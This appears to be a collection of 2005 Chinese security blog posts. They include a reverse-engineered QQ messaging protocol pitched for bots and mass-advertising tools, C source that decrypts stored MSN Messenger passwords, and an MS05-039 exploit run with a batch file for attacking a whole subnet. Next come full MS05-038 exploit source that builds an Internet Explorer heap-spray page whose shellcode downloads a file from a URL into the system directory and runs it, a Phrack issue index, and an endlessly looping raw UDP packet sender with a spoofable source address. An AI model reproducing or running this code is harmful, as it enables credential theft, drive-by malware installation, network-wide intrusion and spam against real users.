  返回:VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=0(成功)

     VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=3(*)

     VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN、UN、CD为字符,RS为非UTF-8字符)

  *如果服务器返回RES=3,那么这次对话的响应时间在20s。当发送验证请求的时候,必须连发2次(请求内容不必一样),其中一条RES=3,对方收不到,一条RES=0,对方能够收到。当CD>=3时,RES=3,响应时间20s。



(6).删除好友

  提交数据:VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&UN=删除的QQ号



  返回:VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=0&(成功)

     VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=3(响应时间30s,重复发送的后果)

     VER=1.1&CMD=DelFromList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN、UN为字符)



(7).改变状态

  提交数据:VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&ST=状态代码

  说明:状态代码:10为上线,20为离线,30为忙碌,40为隐身,其他视为非法



  返回:VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=0&(成功)

     VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=3(失败,原因不明,响应时间20s,可能是过于频繁的改变状态引起的)

     VER=1.1&CMD=Change_Stat&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN为字符,ST非法)



  特别说明:如果你改变好友,将会给所有好友发送一条系统信息,内容就是状态代码;如果隐身,发送的状态代码为20,表示离线。

       同理,当你的好友改变状态,你也会收到一条系统信息。



(9).获得消息

  提交数据:VER=1.1&CMD=GetMsgEx&SEQ=标记&UIN=QQ号



  返回:VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&
MN=4&MT=99,99,99,9,&UN=36791785,99833581,99833581,106814,&MG=
20,30,10,hi ,(MN表示信息数量,MT、UN、MG的值用","分割,分别表示消息类型、发送人号码、消息内容)

     VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=0&MN=0&MT=&UN=&MG=(表示没有信息)

     VER=1.1&CMD=GETMSGEX&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN为字符)

  说明:关于MT:

       9为用户消息,99为系统消息,2为请求信息,3为通过验证,4为拒绝被加好友

     关于MG:

       当MT=9时,MG为用户发送的消息内容

       当MT=99时,

         MG=10(QQ_STATUS_ONLINE)表示对方上线

         MG=20(QQ_STATUS_OFFLINE)表示对方下线

         MG=30(QQ_STATUS_BUSY)表示对方进入忙碌状态

       当MT=2时,MG为对方请求你验证的信息

       当MT=3时,表示对方通过你的验证

       当MT=4时,MG为对方拒绝你理由



(10).发送消息

  提交数据:VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&UN=对方QQ号&MG=发送内容



  返回:VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=0&(成功发送,对方不一定能收到哦)

     VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=3(发送过快)

     VER=1.1&CMD=CLTMSG&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN、UN为字符,MG含非UTF-8字符)

  说明:1、当你发消息时,以下情形对方可能看不到(其实是收到了,QQ不提示)你发送的消息:

       你俩互为陌生人,且对方没有和你说过话

       你在他的陌生人列表里,并且他没有和你说过话(没有验证)

     2、当你过快发送消息时,系统会给你一个惩罚,RES=3,相应时间20s

     3、当我发送含有小写字母h的信息时,服务器有可能返回NULL



(11).登出

  提交数据:VER=1.1&CMD=Logout&SEQ=标记&UIN=QQ号



  返回:VER=1.1&CMD=LOGOUT&SEQ=标记&UIN=QQ号&RES=0(成功,好像永远成功的,不管你是否登陆)

     NULL(UIN为字符)



5、总结



  通过对照以上的接口说明,我开发出了能够实现基本QQ功能的PHP类,它整合了以上所有的接口,使用更方便,可以开发QQ机器人、群发广告程序等。免费获得类的代码请到

  http://blog.hackfan.net/index.php?job=art&articleid=a_20050819_223558

  本文撰写时间仓促,难免有误,希望各位不吝赐教

2005年08月18日

/*

 *  MSN Messenger Password Decrypter for Windows XP & 2003

 *  (Compiled-VC++ 7.0, tested on WinXP SP2, MSN Messenger 7.0)

 *      – Gregory R. Panakkal

 *        http://www.crapware.tk/

 *        http://www.infogreg.com/

 */



#include <windows.h>

#include <wincrypt.h>

#include <stdio.h>



#pragma comment(lib, "Crypt32.lib")





//Following definitions taken from wincred.h

//[available only in Oct 2002 MS Platform SDK / LCC-Win32 Includes]



typedef struct _CREDENTIAL_ATTRIBUTEA {

    LPSTR Keyword;

    DWORD Flags;

    DWORD ValueSize;

    LPBYTE Value;

}

CREDENTIAL_ATTRIBUTEA,*PCREDENTIAL_ATTRIBUTEA;



typedef struct _CREDENTIALA {

    DWORD Flags;

    DWORD Type;

    LPSTR TargetName;

    LPSTR Comment;

    FILETIME LastWritten;

    DWORD CredentialBlobSize;

    LPBYTE CredentialBlob;

    DWORD Persist;

    DWORD AttributeCount;

    PCREDENTIAL_ATTRIBUTEA Attributes;

    LPSTR TargetAlias;

    LPSTR UserName;

} CREDENTIALA,*PCREDENTIALA;



typedef CREDENTIALA CREDENTIAL;

typedef PCREDENTIALA PCREDENTIAL;



////////////////////////////////////////////////////////////////////



typedef BOOL (WINAPI *typeCredEnumerateA)(LPCTSTR, DWORD, DWORD *, PCREDENTIALA **);

typedef BOOL (WINAPI *typeCredReadA)(LPCTSTR, DWORD, DWORD, PCREDENTIALA *);

typedef VOID (WINAPI *typeCredFree)(PVOID);



typeCredEnumerateA pfCredEnumerateA;

typeCredReadA pfCredReadA;

typeCredFree pfCredFree;



////////////////////////////////////////////////////////////////////



void showBanner()

{

    printf("MSN Messenger Password Decrypter for Windows XP/2003\n");

    printf("   – Gregory R. Panakkal, http://www.infogreg.com \n\n");

}



////////////////////////////////////////////////////////////////////

int main()

{

    PCREDENTIAL *CredentialCollection = NULL;

    DATA_BLOB blobCrypt, blobPlainText, blobEntropy;



    //used for filling up blobEntropy

    char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll

    short int EntropyData[37];

    short int tmp;



    HMODULE hDLL;

    DWORD Count, i;



    showBanner();



    //Locate CredEnumerate, CredRead, CredFree from advapi32.dll

    if( hDLL = LoadLibrary("advapi32.dll") )

    {

        pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");

        pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");

        pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");



        if( pfCredEnumerateA == NULL||

            pfCredReadA == NULL ||

            pfCredFree == NULL )

        {

            printf("error!\n");

            return -1;

        }

    }

    



    //Get an array of ‘credential’, satisfying the filter

    pfCredEnumerateA("Passport.Net\\*", 0, &Count, &CredentialCollection);





    if( Count ) //usually this value is only 1

    {



        //Calculate Entropy Data

        for(i=0; i<37; i++) // strlen(szEntropyStringSeed) = 37

        {

            tmp = (short int)szEntropyStringSeed[i];

            tmp <<= 2;

            EntropyData[i] = tmp;

        }



        for(i=0; i<Count; i++)

        {

            blobEntropy.pbData = (BYTE *)&EntropyData;

            blobEntropy.cbData = 74; //sizeof(EntropyData)



            blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;

            blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;



          
 CryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL,
NULL, 1, &blobPlainText);

            

            printf("Username : %s\n", CredentialCollection[i]->UserName);

            printf("Password : %ls\n\n", blobPlainText.pbData);

        }

    }



    pfCredFree(CredentialCollection);

}

2005年08月14日

危害太大,不敢发布。主要在原有公布的基础上进行了两个改进:
1. 能够溢出中文版。
2. 在溢出成功并且断开连接后,目标机器不会重启。
It’s so serious that I won’t release this code. It has been advanced for two points:
1. It can exploit the chinese vision.
2. It will not craft the system after exploit successful.

d:\work>ms05039.exe

================================================
            Ms05039 exploit POC
              Write By ZwelL
                2005.8.13
        http://www.donews.net/zwell
              zwell@sohu.com
================================================
Usage: D:\zwell\05039\ms05039.exe <host> <listenport> <type 0=english 1=chinese>



d:\work>ms05039.exe 6.0.0.47 5555 1
================================================
            Ms05039 exploit POC
              Write By ZwelL
                2005.8.13
        http://www.donews.net/zwell
              zwell@sohu.com
================================================
[*]trying to create NULL session…
ok
[*]sending shellcode…
ok
[*]trying to telnet to the bind port 5555, Good luck. ^_^

如果执行成功的话,将会自动连接到目标主机。。。
If exploit successful, it will connect the target by telnet….


建一批处理文件完成网段攻击:
create a bat file to complete a net attack.
@echo off                                                                                        

rem a.bat 6.0.4 1 254 1
                                                                

rem a.bat [subip] [from] [to] [type]
                                               

for /l %%i in (%2,1,%3) do ms05039.exe %1.%%i 5555 %4


2005年08月11日

执行成功后会生成zwell_ms05038.html文件,运行即可.



/*+++++++++++++++++++++++++++++++++++++++++++++++

      Ms05 038 exploit POC

        Write By ZwelL

          2005 8 11

  http://www.donews.net/zwell

        zwell@sohu.com



Some code belongs to Lion(cnhonker), regards to him.

This code tested on Windows 2003

———————————————–*/



#include <stdio.h>

#include <winsock2.h>



#pragma comment(lib, "ws2_32")



// Use for find the ASM code

#define PROC_BEGIN                     __asm _emit 0×90 __asm  _emit 0×90\

                                       __asm _emit 0×90 __asm  _emit 0×90\

                                       __asm _emit 0×90 __asm  _emit 0×90\

                                       __asm _emit 0×90 __asm  _emit 0×90

#define PROC_END                       PROC_BEGIN

#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"

#define SEARCH_LEN                     8

#define MAX_SC_LEN                     2048

#define HASH_KEY                       13



// Define Decode Parameter

#define DECODE_LEN                     21

#define SC_LEN_OFFSET                  7

#define ENC_KEY_OFFSET                 11

#define ENC_KEY                        0xff





// Define Function Addr

#define ADDR_LoadLibraryA              [esi]

#define ADDR_GetSystemDirectoryA       [esi+4]

#define ADDR_WinExec                   [esi+8]

#define ADDR_ExitProcess               [esi+12]

#define ADDR_URLDownloadToFileA        [esi+16]



// Need functions

unsigned char functions[100][128] =        

{                                           // [esi] stack layout

    // kernel32 4                           // 00 kernel32.dll

    {"LoadLibraryA"},                       //    [esi]

    {"GetSystemDirectoryA"},                //    [esi+4]

    {"WinExec"},                            //    [esi+8]      

    {"ExitProcess"},                        //    [esi+12]

    // urlmon  1                            // 01 urlmon.dll

    {"URLDownloadToFileA"},                 //    [esi+16]  

    {""},

};

    

// Shellcode string

unsigned char  sc[1024] = {0};

unsigned int   Sc_len;



char *htmlbody1=

"<html><body>\r\n"

"<SCRIPT language=\"javascript\">\r\n"

"shellcode = unescape(\"%u4343%u4343\"+\"";



char *htmlbody2=

"\");\r\n"

"bigblock = unescape(\"%u0D0D%u0D0D\");\r\n"

"headersize = 20;\r\n"

"slackspace = headersize+shellcode.length;\r\n"

"while (bigblock.length<slackspace) bigblock+=bigblock;\r\n"

"fillblock = bigblock.substring(0, slackspace);\r\n"

"block = bigblock.substring(0, bigblock.length-slackspace);\r\n"

"while(block.length+slackspace<0×40000) block = block+block+fillblock;\r\n"

"memory = new Array();\r\n"

"for (i=0;i<750;i++) memory[i] = block + shellcode;\r\n"

"</SCRIPT>\r\n"

"<object classid=\"CLSID:083863F1-70DE-11d0-BD40-00A0C911CE86\"></object>\r\n"

"Ms05038 Exploit POC<br>\r\n"

"Made By ZwelL< http://www.donews.net/zwell>\r\n"

"</html>";



// ASM shellcode main function

void    ShellCode();



// Get function hash

static DWORD __stdcall GetHash ( char *c )

{

    DWORD h = 0;

    

    while ( *c )

    {

        __asm ror h, HASH_KEY

        

        h += *c++;

    }

    return( h );

}



int buildfile(unsigned char *sc, int len)

{

    int i;

    char writebuf[4096];

    char tmp[4096];

    FILE *stream;



    memset(tmp, 0, 4096);

    memset(writebuf, 0, 4096);

    for(i = 0; i < len; i++)

    {

        sprintf(writebuf, "%s%.2x", writebuf, sc[i] & 0xff);

    }

    

    if(strlen(writebuf)%4!=0)

        strcat(writebuf, "00");



    for(i=0; i<(strlen(writebuf)/4); i++)

    {

        strcat(tmp, "\%u");

        strncat(tmp, &writebuf[i*4+2], 2);

        strncat(tmp, &writebuf[i*4], 2);

    }



    //printf("%s\n", writebuf);

    //printf("======================\n%s\n", tmp);

    

    if( (stream = fopen( "zwell_ms05038.html", "w+b" )) != NULL )

    {

        fwrite(htmlbody1, strlen(htmlbody1), 1, stream);

        fwrite( tmp, strlen(tmp), 1, stream );

        fwrite(htmlbody2, strlen(htmlbody2), 1, stream);

        fclose(stream);

    }

    else

    {

        printf("fopen wrong\n");

        exit(0);

    }

    return 0;

}



void Make_ShellCode(char *url1)

{

    unsigned char  *pSc_addr;

    unsigned int   Enc_key=ENC_KEY;

    unsigned long  dwHash[100];

    unsigned int   dwHashSize;

    int i,j,k,l;

    

    

    // Get functions hash

    //printf("[+] Get functions hash strings.\r\n");

    for (i=0;;i++)

    {

        if (functions[i][0] == ‘\x0′) break;



        dwHash[i] = GetHash((char*)functions[i]);

        //printf("\t%.8X\t%s\n", dwHash[i], functions[i]);

    }

    dwHashSize = i*4;





    // Deal with shellcode

    pSc_addr = (unsigned char *)ShellCode;

    

    for (k=0;k<MAX_SC_LEN;++k )

    {

        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)

        {

            break;

        }

    }

    pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode

    

    for (k=0;k<MAX_SC_LEN;++k)

    {

        if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {

            break;

        }

    }

    Sc_len=k;                               // Length of the ShellCode

    

    memcpy(sc, pSc_addr, Sc_len);           // Copy shellcode to sc[]





    // Add functions hash

    memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);

    Sc_len += dwHashSize;



    // Add url

    memcpy(sc+Sc_len, url1, strlen(url1)+1);  

    Sc_len += strlen(url1)+1;    



    // Deal with find the right XOR byte

    for(i=0xff; i>0; i–)

    {

        l = 0;

        for(j=DECODE_LEN; j<Sc_len; j++)

        {

            if (

                   ((sc[j] ^ i) == 0×26) || //%

                   ((sc[j] ^ i) == 0×3d) || //=

                   ((sc[j] ^ i) == 0×3f) || //?

                   ((sc[j] ^ i) == 0×40) || //@

                   ((sc[j] ^ i) == 0×00) ||

                   ((sc[j] ^ i) == 0×0D) ||

                   ((sc[j] ^ i) == 0×0A)

                )                           // Define Bad Characters

            {

                l++;                        // If found the right XOR byte,l equals 0

                break;

            };

        }

    

        if (l==0)

        {

            Enc_key = i;

            

            //printf("[+] Find XOR Byte: 0x%02X\n", i);

            for(j=DECODE_LEN; j<Sc_len; j++)

            {

                sc[j] ^= Enc_key;

            }



            break;                          // If found the right XOR byte, Break

        }

    }



    // Deal with not found XOR byte

    if (l!=0)

   {

        printf("[-] No xor byte found!\r\n");

        exit(-1);

    }



    // Deal with DeCode string

    *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;

    *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

    

    printf("[+] download url:%s\n", url1);

}



int help()

{

    printf("Usage : ms05038.exe url [-t] \n");

    printf("    the ‘t’ option will let you test for the shellcode first\n");

    exit(0);

}



void main(int argc, char **argv)

{

    WSADATA        wsa;

    unsigned char url[255]={0};

    BOOL b_test;



    printf("\n========================================\n");

    printf("Ms05-038 exploit POC\n");

    printf("Write By Zwell\n");

    printf("2005-8-11\n");

    printf("http://www.donews.net/zwell\n");

    printf("zwell@sohu.com\n");

    printf("========================================\n\n");

    b_test=FALSE;

    if(argc<2)

        help();

    

    strncpy(url, argv[1], 255);



    if(argc == 3)

        if(!strcmp(argv[2], "-t"))

            b_test = TRUE;



    WSAStartup(MAKEWORD(2,2),&wsa);

    

    Make_ShellCode(url);

    printf("[+] Build shellcode successful\n");

    buildfile(sc, Sc_len);

    printf("[+] Build file successful\n");

    printf("Now, you can open the builded file(zwell_ms05038.html) with IE to see the result.Good Luck ^_^\n");





    if(b_test)

    {

        printf("Testing the shellcode…\n");

        ((void (*)(void)) &sc)();

    }

    return;

}



// ShellCode function

void ShellCode()

{

    __asm

    {

        PROC_BEGIN                          // C macro to begin proc

//——————————————————————–

//

// DeCode

//

//——————————————————————–

        jmp     short decode_end

        

decode_start:

        pop     ebx                         // Decode start addr (esp -> ebx)

        dec     ebx

        xor     ecx,ecx

        mov     cl,0xFF                     // Decode len

        

    decode_loop:

        xor     byte ptr [ebx+ecx],ENC_KEY     // Decode key

        loop    decode_loop

        jmp     short decode_ok



decode_end:

        call    decode_start

        

decode_ok:



//——————————————————————–

//

// ShellCode

//

//——————————————————————–

        jmp     sc_end

        

sc_start:        

        pop     edi                         // Hash string start addr (esp -> edi)



        // Get kernel32.dll base addr

        mov     eax, fs:0×30                // PEB

        mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO

        mov     esi, [eax+0x1c]             // InInitOrder.flink

        lodsd                               // eax = InInitOrder.blink

        mov     ebp, [eax+8]                // ebp = kernel32.dll base address



        mov     esi, edi                    // Hash string start addr -> esi

    

        // Get function addr of kernel32

        push    4

        pop     ecx

        

    getkernel32:

        call    GetProcAddress_fun

        loop    getkernel32



        // Get function addr of urlmon    

        push    0×00006e6f

        push    0×6d6c7275                 // urlmon

        push    esp

        call    ADDR_LoadLibraryA          // LoadLibraryA("urlmon");

        

        mov     ebp, eax                   // ebp = urlmon.dll base address

        

/*

        push    1

        pop     ecx



    geturlmon:

        call    GetProcAddress_fun

        loop    geturlmon

*/

        call    GetProcAddress_fun



        // url start addr = edi

        

//LGetSystemDirectoryA:

        sub     esp, 0×20

        mov     ebx, esp

        

        push    0×20

        push    ebx

        call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA

        

//LURLDownloadToFileA:    

        // eax = system path size

        // URLDownloadToFileA url save to a.exe

        mov     dword ptr [ebx+eax], 0×652E615C           // "\a.e"

        mov     dword ptr [ebx+eax+0x4], 0×00006578       // "xe"

        xor     eax, eax

        push    eax

        push    eax

        push    ebx                         // %systemdir%\a.exe

        push    edi                         // url

        push    eax

        call    ADDR_URLDownloadToFileA     // URLDownloadToFileA

        

//LWinExec:

        mov     ebx, esp

        push    eax

        push    ebx

        call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);



Finished:

        //push    1

        call    ADDR_ExitProcess            // ExitProcess();



GetProcAddress_fun:    

        push    ecx

        push    esi

    

        mov     esi, [ebp+0x3C]             // e_lfanew

        mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA

        add     esi, ebp                    // rva2va

        push    esi

        mov     esi, [esi+0x20]              // AddressOfNames RVA

        add     esi, ebp                    // rva2va

        xor     ecx, ecx

        dec     ecx



    find_start:

        inc     ecx

        lodsd

        add     eax, ebp

        xor     ebx, ebx

        

    hash_loop:

        movsx   edx, byte ptr [eax]

        cmp     dl, dh

        jz      short find_addr

        ror     ebx, HASH_KEY               // hash key

        add     ebx, edx

        inc     eax

        jmp     short hash_loop

    

    find_addr:

        cmp     ebx, [edi]                  // compare to hash

        jnz     short find_start

        pop     esi                         // ExportDirectory

        mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA

        add     ebx, ebp                    // rva2va

        mov     cx, [ebx+ecx*2]             // FunctionOrdinal

        mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA

        add     ebx, ebp                    // rva2va

        mov     eax, [ebx+ecx*4]            // FunctionAddress RVA

        add     eax, ebp                    // rva2va

        stosd                               // function address save to [edi]

        

        pop     esi

        pop     ecx

        ret

        

sc_end:

        call sc_start

      

        PROC_END                            //C macro to end proc

    }

}

2005年08月03日

今天终于看到phrack出63期了,期待已久了.告别值得高兴的是上面有两篇是中国人写的,太开心了…
为san和cooq贺彩~!~!~!


1 Introduction (.txt) Phrack Staff
2 Loopback (.txt) Phrack Staff
3 Linenoise (.txt) Phrack Staff
4 Phrack Prophile on Tiago (.txt) Phrack Staff
5 OSX heap exploitation techniques (.txt) Nemo
6 Hacking Windows CE (pocketpcs & others) (.txt) San
7 Games with kernel Memory…FreeBSD Style (.txt) jkong
8 Raising The Bar For Windows Rootkit Detection (.txt) sherri sparks
jamie butler
9 Embedded ELF Debugging (.txt) ELFsh crew
10 Hacking Grub for Fun & Profit (.txt) coolq
11 Advanced antiforensics : SELF (.txt) ripe & pluf
12 Process Dump and Binary Reconstruction (.txt) ilo
13 Next-Gen. Runtime Binary Encryption (.txt) zvbra
14 Shifting the Stack Pointer (.txt) andrewg
15 NT Shellcode Prevention Demystified (.txt) piotr
16 PowerPC Cracking on OSX with GDB (.txt) curious
17 Hacking with Embedded Systems (.txt) cawan
18 Process Hiding & The Linux Scheduler (.txt) ubra
19 Breaking Through a Firewall (.txt) kotkrye
20 Phrack World News (.txt) Phrack Staff

/*++
  闲着无聊写了个UDP的原始发包程序,大部分代码是从Windows网络编程中COPY过来的
  改了一点点.直接调用sendudp就可以用来发送原始UDP包了.
  Author:ZwelL
  Home:http://www.donews.net/zwell
–*/
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

// Set the packing to a 1 byte boundary
#include <pshpack1.h>

//
// Define the IPv4 header. Make the version and length field one
// character since we can’t declare two 4 bit fields without
// the compiler aligning them on at least a 1 byte boundary.
//
typedef struct ip_hdr
{
    unsigned char  ip_verlen;        // 4-bit IPv4 version
                                     // 4-bit header length (in 32-bit words)
    unsigned char  ip_tos;           // IP type of service
    unsigned short ip_totallength;   // Total length
    unsigned short ip_id;            // Unique identifier
    unsigned short ip_offset;        // Fragment offset field
    unsigned char  ip_ttl;           // Time to live
    unsigned char  ip_protocol;      // Protocol(TCP,UDP etc)
    unsigned short ip_checksum;      // IP checksum
    unsigned int   ip_srcaddr;       // Source address
    unsigned int   ip_destaddr;      // Source address
} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;

//
// Define the UDP header
//
typedef struct udp_hdr
{
    unsigned short src_portno;       // Source port no.
    unsigned short dst_portno;       // Dest. port no.
    unsigned short udp_length;       // Udp packet length
    unsigned short udp_checksum;     // Udp checksum (optional)
} UDP_HDR, *PUDP_HDR;

// Restore the byte boundary back to the previous value
#include <poppack.h>
//

// Function: checksum
//
// Description:
//    This function calculates the 16-bit one’s complement sum
//    for the supplied buffer.
//
USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1)
    {
        cksum += *buffer++;
        size  -= sizeof(USHORT);   
    }
    if (size)
    {
        cksum += *(UCHAR*)buffer;   
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);

    return (USHORT)(~cksum);
}

//
// Function: InitIpv4Header
//
// Description:
//    Initialize the IPv4 header with the version, header length,
//    total length, ttl, protocol value, and source and destination
//    addresses.
//
int InitIpv4Header(
    char *buf,
    char *src,
    char *dest,
    int payloadlen
    )
{
    IPV4_HDR    *v4hdr=NULL;

    v4hdr = (IPV4_HDR *)buf;

    v4hdr->ip_verlen      = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long));
    v4hdr->ip_tos         = 0;
    v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen);
    v4hdr->ip_id          = 0;
    v4hdr->ip_offset      = 0;
    v4hdr->ip_ttl         = 128;
    v4hdr->ip_protocol    = 0×11;
    v4hdr->ip_checksum    = 0;
    v4hdr->ip_srcaddr     = inet_addr(src);
    v4hdr->ip_destaddr    = inet_addr(dest);

    v4hdr->ip_checksum    = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR));
    
    return sizeof(IPV4_HDR);
}

//
// Function: ComputeUdpPseudoHeaderChecksumV4
//
// Description:
//    Compute the UDP pseudo header checksum. The UDP checksum is based
//    on the following fields:
//       o source IP address
//       o destination IP address
//       o 8-bit zero field
//       o 8-bit protocol field
//       o 16-bit UDP length
//       o 16-bit source port
//       o 16-bit destination port
//       o 16-bit UDP packet length
//       o 16-bit UDP checksum (zero)
//       o UDP payload (padded to the next 16-bit boundary)
//    This routine copies these fields to a temporary buffer and computes
//    the checksum from that.
//
void ComputeUdpPseudoHeaderChecksumV4(
    void    *iphdr,
    UDP_HDR *udphdr,
    char    *payload,
    int      payloadlen
    )
{
    IPV4_HDR     *v4hdr=NULL;
    unsigned long zero=0;
    char          buf[1000],
                 *ptr=NULL;
    int           chksumlen=0,
                  i;
    
    ptr = buf;

    v4hdr = (IPV4_HDR *)iphdr;

    // Include the source and destination IP addresses
    memcpy(ptr, &v4hdr->ip_srcaddr,  sizeof(v4hdr->ip_srcaddr));  
    ptr += sizeof(v4hdr->ip_srcaddr);
    chksumlen += sizeof(v4hdr->ip_srcaddr);

    memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr));
    ptr += sizeof(v4hdr->ip_destaddr);
    chksumlen += sizeof(v4hdr->ip_destaddr);
    
    // Include the 8 bit zero field
    memcpy(ptr, &zero, 1);
    ptr++;
    chksumlen += 1;

    // Protocol
    memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol));
    ptr += sizeof(v4hdr->ip_protocol);
    chksumlen += sizeof(v4hdr->ip_protocol);

    // UDP length
    memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
    ptr += sizeof(udphdr->udp_length);
    chksumlen += sizeof(udphdr->udp_length);
    
    // UDP source port
    memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno));
    ptr += sizeof(udphdr->src_portno);
    chksumlen += sizeof(udphdr->src_portno);

    // UDP destination port
    memcpy(ptr, &udphdr->dst_portno, sizeof(udphdr->dst_portno));
    ptr += sizeof(udphdr->dst_portno);
    chksumlen += sizeof(udphdr->dst_portno);

    // UDP length again
    memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
    ptr += sizeof(udphdr->udp_length);
    chksumlen += sizeof(udphdr->udp_length);
   
    // 16-bit UDP checksum, zero
    memcpy(ptr, &zero, sizeof(unsigned short));
    ptr += sizeof(unsigned short);
    chksumlen += sizeof(unsigned short);

    // payload
    memcpy(ptr, payload, payloadlen);
    ptr += payloadlen;
    chksumlen += payloadlen;

    // pad to next 16-bit boundary
    for(i=0 ; i < payloadlen%2 ; i++, ptr++)
    {
        printf("pad one byte\n");
        *ptr = 0;
        ptr++;
        chksumlen++;
    }

    // Compute the checksum and put it in the UDP header
    udphdr->udp_checksum = checksum((USHORT *)buf, chksumlen);

    return;
}

//
// Function: InitUdpHeader
//
// Description:
//    Setup the UDP header which is fairly simple. Grab the ports and
//    stick in the total payload length.
//
int InitUdpHeader(
    char *buf,
    int srcprt,
    int dstprt,
    int       payloadlen
    )
{
    UDP_HDR *udphdr=NULL;

    udphdr = (UDP_HDR *)buf;
    udphdr->src_portno = htons(srcprt);
    udphdr->dst_portno = htons(dstprt);
    udphdr->udp_length = htons(sizeof(UDP_HDR) + payloadlen);

    return sizeof(UDP_HDR);
}


//
// Function: sendudp
//
// Description:
//    Send the udp packets with RAW SOCKET
//
int sendudp(char *srcip, char *dstip, int srcprt, int dstprt, char *buf, int bufsize)
{
    WSADATA            wsd;
    SOCKET             s;
    char sendbuf[1000]={0};
    int           iphdrlen,
                  allsize,
                  udphdrlen;
    int     optlevel,
                option,
                optval,
                rc;  
    SOCKADDR_IN    ReceiverAddr;

    ReceiverAddr.sin_family = AF_INET;
    ReceiverAddr.sin_port = htons(dstprt);    
    ReceiverAddr.sin_addr.s_addr = inet_addr(dstip);
    
    allsize = sizeof(IPV4_HDR) + sizeof(UDP_HDR) + bufsize;
    if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
    {
        printf("WSAStartup() failed: %d\n", GetLastError());
        return -1;
    }

    s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
    if (s == INVALID_SOCKET)
    {
        fprintf(stderr, "socket failed: %d\n", WSAGetLastError());
        return -1;
    }

    // Enable the IP header include option
    optval = 1;
    optlevel = IPPROTO_IP;
    option   = IP_HDRINCL;
    rc = setsockopt(s, optlevel, option, (char *)&optval, sizeof(optval));
    if (rc == SOCKET_ERROR)
    {
        fprintf(stderr, "setsockopt: IP_HDRINCL failed: %d\n", WSAGetLastError());
        return -1;
    }

    
    // Initialize the v4 header
    iphdrlen = InitIpv4Header(
            sendbuf,
            srcip,
            dstip,
            bufsize
            );

    // Initialize the UDP header
    udphdrlen = InitUdpHeader(
           &sendbuf[iphdrlen],
            srcprt,
            dstprt,
            bufsize
            );

    // Compute the UDP checksum
    ComputeUdpPseudoHeaderChecksumV4(
            sendbuf,
            (UDP_HDR *)&sendbuf[iphdrlen],
            buf,
            bufsize
            );

    // Copy the payload to the end of the header
    memcpy(&sendbuf[iphdrlen + udphdrlen], buf, bufsize);

    rc = sendto(
                        s,
                        sendbuf,
                        allsize,
                        0,
                        (const struct sockaddr*)&ReceiverAddr,
                        sizeof(ReceiverAddr)
                        );
    if (rc == SOCKET_ERROR)
    {
        printf("sendto() failed: %d\n", WSAGetLastError());
    }
    else
    {
        printf("sent %d bytes\n", rc);
    }
    closesocket(s) ;
    WSACleanup() ;

    return 0;
}

int main(int argc, char **argv)
{
     while(1)
        sendudp("192.168.1.104", "192.168.1.1", 5555, 5555, "test\x00\x55", 6);
     getchar();
    return 0;
}